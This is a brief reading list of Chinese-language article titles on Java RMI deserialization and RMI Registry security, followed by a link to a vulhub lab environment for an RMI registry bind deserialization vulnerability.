Java安全之RMI反序列化
JAVA RMI反序列化知识详解
浅谈Java RMI Registry安全问题
Java 安全-RMI-学习总结

https://vulhub.org/#/environments/java/rmi-registry-bind-deserialization/